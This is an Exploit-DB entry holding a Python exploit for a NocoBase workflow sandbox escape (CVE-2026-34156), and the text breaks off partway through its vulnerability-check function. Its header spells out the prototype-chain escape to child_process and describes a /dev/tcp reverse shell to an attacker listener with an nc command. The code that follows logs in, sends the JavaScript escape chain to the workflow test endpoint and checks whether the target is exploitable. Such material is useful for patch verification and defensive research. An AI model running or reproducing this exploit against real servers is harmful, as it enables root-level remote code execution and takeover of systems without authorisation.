Exploit-DB #52552
Description: NocoBase  2.0.27 - VM Sandbox Escape
Type: local
Platform: multiple
Date: 2026-05-07
Author: onurcangencbilkent

Exploit:
# Exploit Title: NocoBase  2.0.27 - VM Sandbox Escape 
# Date: 2026-03-26
# Exploit Author: Onurcan Genç
# Vendor Homepage: https://www.nocobase.com/
# Software Link: https://github.com/nocobase/nocobase
# Version: <= 2.0.27 — patched in 2.0.28
# Tested on: Debian GNU/Linux 12 (bookworm) / Docker / Node.js v20.20.1
# CVE: CVE-2026-34156
# Advisory: https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c
# CWE: CWE-913
# CVSS: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
#
# Description:
#   NocoBase's Workflow Script Node executes user-supplied JavaScript inside
#   a Node.js vm sandbox with a custom require allowlist. However, the console
#   object passed into the sandbox exposes host-realm WritableWorkerStdio
#   stream objects (console._stdout / console._stderr). By traversing the
#   prototype chain (.constructor.constructor), an attacker obtains the host
#   realm's Function constructor, accesses the process object, and uses
#   process.mainModule.require to load child_process — bypassing the sandbox
#   and achieving Remote Code Execution as root.
#
# Exploitation chain:
#   console._stdout.constructor.constructor   → host-realm Function
#   Function('return process')()              → Node.js process object
#   process.mainModule.require('child_process') → unrestricted module
#   child_process.execSync('id')              → RCE as root
#
# Usage:
#   python3 exploit.py -t <TARGET> -u <USER> -P <PASS> --cmd "id"
#   python3 exploit.py -t <TARGET> -u <USER> -P <PASS> --dump
#   python3 exploit.py -t <TARGET> -u <USER> -P <PASS> -l <LHOST> -p <LPORT>
#
# Notes:
#   - Requires valid credentials (any user with workflow access)
#   - Vulnerability check runs automatically before exploitation
#   - Default reverse shell uses bash /dev/tcp (Debian-based containers)
#   - Start listener before running: nc -lvnp 4444

import argparse
import json
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ─── Colors ───────────────────────────────────────────────────────────────────

class C:
    RED     = "\033[91m"
    GREEN   = "\033[92m"
    YELLOW  = "\033[93m"
    BLUE    = "\033[94m"
    MAGENTA = "\033[95m"
    CYAN    = "\033[96m"
    WHITE   = "\033[97m"
    BOLD    = "\033[1m"
    DIM     = "\033[2m"
    RESET   = "\033[0m"

def info(msg):    print(f"  {C.BLUE}[*]{C.RESET} {msg}")
def good(msg):    print(f"  {C.GREEN}[+]{C.RESET} {msg}")
def warn(msg):    print(f"  {C.YELLOW}[!]{C.RESET} {msg}")
def fail(msg):    print(f"  {C.RED}[-]{C.RESET} {msg}")
def result(msg):  print(f"  {C.CYAN}[→]{C.RESET} {msg}")

BANNER = f"""
{C.RED}{C.BOLD}╔══════════════════════════════════════════════════════════════════╗
║  NocoBase Workflow Script Node — VM Sandbox Escape to RCE      ║
║  CVE: [CVE-2026-34156]  |  CVSS: 9.9 Critical                        ║
║  Author: Onurcan Genç                                          ║
╚══════════════════════════════════════════════════════════════════╝{C.RESET}
"""

ESCAPE_CHAIN = (
    "const Fn=console._stdout.constructor.constructor;"
    "const proc=Fn('return process')();"
    "const cp=proc.mainModule.require('child_process');"
)


# ─── Core Functions ───────────────────────────────────────────────────────────

def authenticate(target: str, username: str, password: str, verify_ssl: bool = False) -> str:
    url = f"{target.rstrip('/')}/api/auth:signIn"
    body = {"account": username, "password": password}

    print()
    info(f"Authenticating as {C.BOLD}{username}{C.RESET}...")

    try:
        resp = requests.post(url, headers={"Content-Type": "application/json"},
                             json=body, timeout=10, verify=verify_ssl)
        data = resp.json()
    except requests.exceptions.ConnectionError:
        fail(f"Connection failed: cannot reach {C.YELLOW}{url}{C.RESET}")
        sys.exit(1)
    except json.JSONDecodeError:
        fail(f"Invalid response from server")
        sys.exit(1)

    if "errors" in data:
        msg = data["errors"][0].get("message", "Unknown error")
        fail(f"Authentication failed: {C.RED}{msg}{C.RESET}")
        sys.exit(1)

    token = data.get("data", {}).get("token")
    if not token:
        fail("No token in response")
        sys.exit(1)

    nickname = data.get("data", {}).get("user", {}).get("nickname", "unknown")
    user_id = data.get("data", {}).get("user", {}).get("id", "?")
    good(f"Authenticated! User: {C.GREEN}{C.BOLD}{nickname}{C.RESET} (ID: {user_id})")
    good(f"Token: {C.DIM}{token[:25]}...{token[-10:]}{C.RESET}")
    return token


def send_payload(target: str, token: str, payload: str, verify_ssl: bool = False) -> dict:
    url = f"{target.rstrip('/')}/api/flow_nodes:test"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    body = {
        "type": "script",
        "config": {"content": payload, "timeout": 5000, "arguments": []}
    }

    try:
        resp = requests.post(url, headers=headers, json=body, timeout=10, verify=verify_ssl)
        return resp.json()
    except requests.exceptions.Timeout:
        return {"data": {"status": 1, "result": "timeout (expected for reverse shell)"}}
    except requests.exceptions.ConnectionError as e:
        return {"error": f"Connection failed: {e}"}
    except json.JSONDecodeError:
        return {"error": "Invalid JSON response", "raw": resp.text[:500]}


def verify_vulnerability(target: str, token: str) -> bool:
    print()
    print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
    info(f"{C.BOLD}Phase 1: Vulnerability Check{C.RESET}")
    print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")

    check_payload = (
        "try {"
        "  const name = console._stdout.constructor.name;"
        "  const fnType = typeof console._stdout.constructor.constructor;"